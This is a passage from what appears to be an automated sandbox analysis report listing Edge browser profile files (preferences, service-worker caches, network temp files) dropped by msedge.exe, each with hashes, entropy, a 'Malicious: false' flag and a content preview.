Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b011208f-138c-4ba8-84ac-633616314822.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d165d39c-c4a7-4ffb-b54f-fdaba55cf1ca.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\df27dc3f-c5c0-4fc9-8eeb-732bc2fd216c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10531
Entropy (8bit):	5.213135259410048
Encrypted:	false
SSDEEP:	192:strkdp3sOvsZihKyb5+ka+G28ybV+FaloQwT66WoaFIMYqPuYJ:strQ3sOvfhKyb5RbGzQwe6WoaTYA
MD5:	D342BAC3CCBC23AE7EA9A1040952EB06
SHA1:	DB9CCDC7AA98E14FABB0E8E4E5D4CE422A2B0B32
SHA-256:	EE384B5C5992F5F446D53DE39FF92D288F63D51D9B70D05DDD1A48D4F6523B55
SHA-512:	D4BDCC98E2EFC060793EFF54AF93E13560A6A07D5FE2B32BF3254CD74F1C7439D9A159CFC08E0FB971079B16870D4E2C098B64198397F1E895FD35BA13FB2720
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381442187438388","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3d6ba.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10531
Entropy (8bit):	5.213135259410048
Encrypted:	false
SSDEEP:	192:strkdp3sOvsZihKyb5+ka+G28ybV+FaloQwT66WoaFIMYqPuYJ:strQ3sOvfhKyb5RbGzQwe6WoaTYA
MD5:	D342BAC3CCBC23AE7EA9A1040952EB06
SHA1:	DB9CCDC7AA98E14FABB0E8E4E5D4CE422A2B0B32
SHA-256:	EE384B5C5992F5F446D53DE39FF92D288F63D51D9B70D05DDD1A48D4F6523B55
SHA-512:	D4BDCC98E2EFC060793EFF54AF93E13560A6A07D5FE2B32BF3254CD74F1C7439D9A159CFC08E0FB971079B16870D4E2C098B64198397F1E895FD35BA13FB2720
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381442187438388","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4240f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10531
Entropy (8bit):	5.213135259410048
Encrypted:	false
SSDEEP:	192:strkdp3sOvsZihKyb5+ka+G28ybV+FaloQwT66WoaFIMYqPuYJ:strQ3sOvfhKyb5RbGzQwe6WoaTYA
MD5:	D342BAC3CCBC23AE7EA9A1040952EB06
SHA1:	DB9CCDC7AA98E14FABB0E8E4E5D4CE422A2B0B32
SHA-256:	EE384B5C5992F5F446D53DE39FF92D288F63D51D9B70D05DDD1A48D4F6523B55
SHA-512:	D4BDCC98E2EFC060793EFF54AF93E13560A6A07D5FE2B32BF3254CD74F1C7439D9A159CFC08E0FB971079B16870D4E2C098B64198397F1E895FD35BA13FB2720
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381442187438388","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4993f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10531
Entropy (8bit):	5.213135259410048
Encrypted:	false
SSDEEP:	192:strkdp3sOvsZihKyb5+ka+G28ybV+FaloQwT66WoaFIMYqPuYJ:strQ3sOvfhKyb5RbGzQwe6WoaTYA
MD5:	D342BAC3CCBC23AE7EA9A1040952EB06
SHA1:	DB9CCDC7AA98E14FABB0E8E4E5D4CE422A2B0B32
SHA-256:	EE384B5C5992F5F446D53DE39FF92D288F63D51D9B70D05DDD1A48D4F6523B55
SHA-512:	D4BDCC98E2EFC060793EFF54AF93E13560A6A07D5FE2B32BF3254CD74F1C7439D9A159CFC08E0FB971079B16870D4E2C098B64198397F1E895FD35BA13FB2720
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381442187438388","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF58738.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10531
Entropy (8bit):	5.213135259410048
Encrypted:	false
SSDEEP:	192:strkdp3sOvsZihKyb5+ka+G28ybV+FaloQwT66WoaFIMYqPuYJ:strQ3sOvfhKyb5RbGzQwe6WoaTYA
MD5:	D342BAC3CCBC23AE7EA9A1040952EB06
SHA1:	DB9CCDC7AA98E14FABB0E8E4E5D4CE422A2B0B32
SHA-256:	EE384B5C5992F5F446D53DE39FF92D288F63D51D9B70D05DDD1A48D4F6523B55
SHA-512:	D4BDCC98E2EFC060793EFF54AF93E13560A6A07D5FE2B32BF3254CD74F1C7439D9A159CFC08E0FB971079B16870D4E2C098B64198397F1E895FD35BA13FB2720
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381442187438388","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF843d8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10531
Entropy (8bit):	5.213135259410048
Encrypted:	false
SSDEEP:	192:strkdp3sOvsZihKyb5+ka+G28ybV+FaloQwT66WoaFIMYqPuYJ:strQ3sOvfhKyb5RbGzQwe6WoaTYA
MD5:	D342BAC3CCBC23AE7EA9A1040952EB06
SHA1:	DB9CCDC7AA98E14FABB0E8E4E5D4CE422A2B0B32
SHA-256:	EE384B5C5992F5F446D53DE39FF92D288F63D51D9B70D05DDD1A48D4F6523B55
SHA-512:	D4BDCC98E2EFC060793EFF54AF93E13560A6A07D5FE2B32BF3254CD74F1C7439D9A159CFC08E0FB971079B16870D4E2C098B64198397F1E895FD35BA13FB2720
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381442187438388","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26889
Entropy (8bit):	5.575965950398691
Encrypted:	false
SSDEEP:	768:g2N06UWP99fH68F1+UoAYDCx9Tuqh0VfUC9xbog/OVMnJbKG5rwmApWtuV:g2N06UWP99fH6u1jahnJuGKMtK
MD5:	4CC83F9CCA7192F8414D24B0F30721A5
SHA1:	9ADD1396C109CD0D63AB95AD5B06D84B16BD6FC3
SHA-256:	FCCB636D53413800D207E9403163F0628CBD1212B12A1A6D27D335B96CD8EE2E
SHA-512:	C5A03D4585DBB40B5E2E93F6EC64F0C13F2DD4247364659FD9929782855127246B996B54947B7E7EC926A9AA764D3C8E6FC88A53434317BE3F9BD24051653E19
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13381442186803306","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13381442186803306","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3d66c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26889
Entropy (8bit):	5.575965950398691
Encrypted:	false
SSDEEP:	768:g2N06UWP99fH68F1+UoAYDCx9Tuqh0VfUC9xbog/OVMnJbKG5rwmApWtuV:g2N06UWP99fH6u1jahnJuGKMtK
MD5:	4CC83F9CCA7192F8414D24B0F30721A5
SHA1:	9ADD1396C109CD0D63AB95AD5B06D84B16BD6FC3
SHA-256:	FCCB636D53413800D207E9403163F0628CBD1212B12A1A6D27D335B96CD8EE2E
SHA-512:	C5A03D4585DBB40B5E2E93F6EC64F0C13F2DD4247364659FD9929782855127246B996B54947B7E7EC926A9AA764D3C8E6FC88A53434317BE3F9BD24051653E19
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13381442186803306","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13381442186803306","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	115523
Entropy (8bit):	5.578344865430217
Encrypted:	false
SSDEEP:	1536:sU906yxPXfOxr1lhCe1nL/ImL/rBZXJCjPXNtPSdWGyhjY:B9LyxPXfOxr1lMe1nL/5L/TXJ68WHS
MD5:	EBE3A0826BB82164C469B342EAEFB675
SHA1:	E66F0F0764E3ADB1BA49BE42C6B7821C00AC7148
SHA-256:	6FCA500C002FA0C3EBFF9CA942D14D2D164FCD8045935560691DC51D0F0A42BE
SHA-512:	3D160E5E4BC86BBF2AE791915859AA2140367AEAFE0D12349722061C182A8DB14692946FC593C8E86EA68B61D4CB7BAEE2ADD89697E9CD09E0222F431539B5AB
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	190089
Entropy (8bit):	6.388297432075585
Encrypted:	false
SSDEEP:	3072:83VQk88GQJx6Tw2PZncd4L/B19tzaO6qwEwzqob4:A36Twmnc+L/j/T6fE3B
MD5:	DE03BD60004B78E926BF86748522ECB6
SHA1:	FDB4739F746381860DCCCAED0098409AF6633DFC
SHA-256:	30BF1ACA9657155700B96D25D4127D6D2C0DEBE1F1842092C79D88D729CE73A4
SHA-512:	62905AF2D318BA23D9AD52223073334D0A265DA558B3A701FD498A471B8CB413789C5B49298F8EC114370A47B60ADA2C734A2AEC8EE9C7A59A5D38827210C824
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;R....x.0........,T.8..`,.....L`.....,T...`......L`......Rc..C.....exports...Rc..d.....module....Rc........define....Rb..{.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H........Q.....12{...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true.a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....b...,T.`.`z.....L`..........a............a.........Dr8..............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.827004947420871
Encrypted:	false
SSDEEP:	3:pxqSR0E3lx8:p9o
MD5:	61121BA4903141C6E2629AAE4A084203
SHA1:	252C7DAA5BD73FAA618E064F9839A2C21FE84ACA
SHA-256:	4C32989DC35368DBBF5D9291E7C8D288093E8E6BCD0B68C430433C71D2A00FCB
SHA-512:	A530BFE57C81071983A2182AB0DBFD8EB10D9EE4FAA0E381616AD46C3FEF111C5727BE3D97222D9C3D03797AD41390DF81DCB52C858E94AC9F11310CED179A3A
Malicious:	false
Preview:	(.....SOoy retne............................Y./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.827004947420871
Encrypted:	false
SSDEEP:	3:pxqSR0E3lx8:p9o
MD5:	61121BA4903141C6E2629AAE4A084203
SHA1:	252C7DAA5BD73FAA618E064F9839A2C21FE84ACA
SHA-256:	4C32989DC35368DBBF5D9291E7C8D288093E8E6BCD0B68C430433C71D2A00FCB
SHA-512:	A530BFE57C81071983A2182AB0DBFD8EB10D9EE4FAA0E381616AD46C3FEF111C5727BE3D97222D9C3D03797AD41390DF81DCB52C858E94AC9F11310CED179A3A
Malicious:	false
Preview:	(.....SOoy retne............................Y./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF40f2f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.827004947420871
Encrypted:	false
SSDEEP:	3:pxqSR0E3lx8:p9o
MD5:	61121BA4903141C6E2629AAE4A084203
SHA1:	252C7DAA5BD73FAA618E064F9839A2C21FE84ACA
SHA-256:	4C32989DC35368DBBF5D9291E7C8D288093E8E6BCD0B68C430433C71D2A00FCB
SHA-512:	A530BFE57C81071983A2182AB0DBFD8EB10D9EE4FAA0E381616AD46C3FEF111C5727BE3D97222D9C3D03797AD41390DF81DCB52C858E94AC9F11310CED179A3A
Malicious:	false
Preview:	(.....SOoy retne............................Y./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\4c3d88df-5418-41bf-9eca-134cd1203c8d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\8133eaab-f5f5-4284-8dd9-72695dffd31b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
